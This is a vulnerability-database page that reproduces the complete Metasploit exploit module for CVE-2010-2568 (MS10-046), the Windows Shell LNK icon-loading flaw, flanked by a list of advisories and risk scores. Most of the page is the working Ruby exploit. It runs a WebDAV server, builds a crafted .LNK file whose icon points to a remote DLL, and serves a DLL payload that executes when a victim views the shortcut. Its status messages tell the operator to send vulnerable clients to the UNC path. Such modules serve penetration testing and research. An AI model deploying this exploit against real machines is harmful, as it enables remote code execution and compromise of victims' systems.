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Microsoft Windows - Shell LNK Code Execution (MS10-046) (Metasploit)
| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
 | Exploit for CVE-2010-2568 | 26 Feb 202609:41 | – | githubexploit |
 | CVE-2010-2568 | 22 Jul 201000:00 | – | attackerkb |
| CVE-2010-2772 | 22 Jul 201000:00 | – | attackerkb |
 | Vulnerability of Windows operating systems, related to errors in processing files with extensions .LNK or .PIF, allows a perpetrator to execute arbitrary code. | 7 Sep 202100:00 | – | bdu_fstec |
 | CVE-2010-2568 | 18 Jul 201000:00 | – | circl |
 | Microsoft Windows Remote Code Execution Vulnerability | 15 Sep 202200:00 | – | cisa_kev |
 | Microsoft Windows Shell LNK File Parsing Code Execution (MS10-046; CVE-2010-2568) | 18 Jul 201000:00 | – | checkpoint_advisories |
| Microsoft Windows LNK PIF Code Execution - Ver2 (CVE-2010-2568) | 3 Mar 201400:00 | – | checkpoint_advisories |
 | CVE-2010-2568 | 22 Jul 201010:00 | – | cve |
 | CVE-2010-2568 | 22 Jul 201010:00 | – | cvelist |
10
##
# $Id: ms10_046_shortcut_icon_dllloader.rb 10404 2010-09-21 00:13:30Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain an icon resource pointing to a
malicious DLL. This module creates a WebDAV service that can be used
to run an arbitrary payload when accessed as a UNC path.
},
'Author' =>
[
'hdm', # Module itself
'jduck', # WebDAV implementation, UNCHOST var
'B_H' # Clean LNK template
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10404 $',
'References' =>
[
['CVE', '2010-2568'],
['OSVDB', '66387'],
['MSB', 'MS10-046'],
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DisclosureDate' => 'Jul 16 2010',
'DefaultTarget' => 0))
register_options(
[
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]),
OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
], self.class)
deregister_options('SSL', 'SSLVersion') # Just for now
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_error("Unexpected request method encountered: #{request.method}")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if (request.uri =~ /\.dll$/i)
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_dll({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
if (request.uri =~ /\.lnk$/i)
print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..."
data = generate_link("#{@exploit_unc}#{@exploit_dll}")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..."
resp = create_response(200, "OK")
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
'MS-Author-Via' => 'DAV',
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
resp = create_response(207, "Multi-Status")
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path =~ /\.dll$/i
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end
if path =~ /\.lnk$/i
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end
if path !~ /\/$/
if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << subdirectory
else
body << files
end
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_link(unc)
uni_unc = unc.unpack("C*").pack("v*")
path = ''
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack("C*")
path << uni_unc
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
idlist_data = ''
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [path.length + 2].pack('v')
idlist_data << path
idlist_data << [0x00].pack('v') # TERMINAL WOO
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData blocks (none)
ret << [rand(4)].pack('V')
# Patch in the LinkFlags
ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
ret
end
def exploit
unc = "\\\\"
if (datastore['UNCHOST'])
unc << datastore['UNCHOST'].dup
else
unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
end
unc << "\\"
unc << rand_text_alpha(rand(8)+4)
unc << "\\"
@exploit_unc = unc
@exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk"
@exploit_dll = rand_text_alpha(rand(8)+4) + ".dll"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
print_status("")
print_status("Send vulnerable clients to #{@exploit_unc}.")
print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")
print_status("")
super
end
endData
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21 Sep 2010 00:00Current
7High risk
Vulners AI Score7
CVSS 29.3
CVSS 3.17.8
EPSS0.91324
SSVC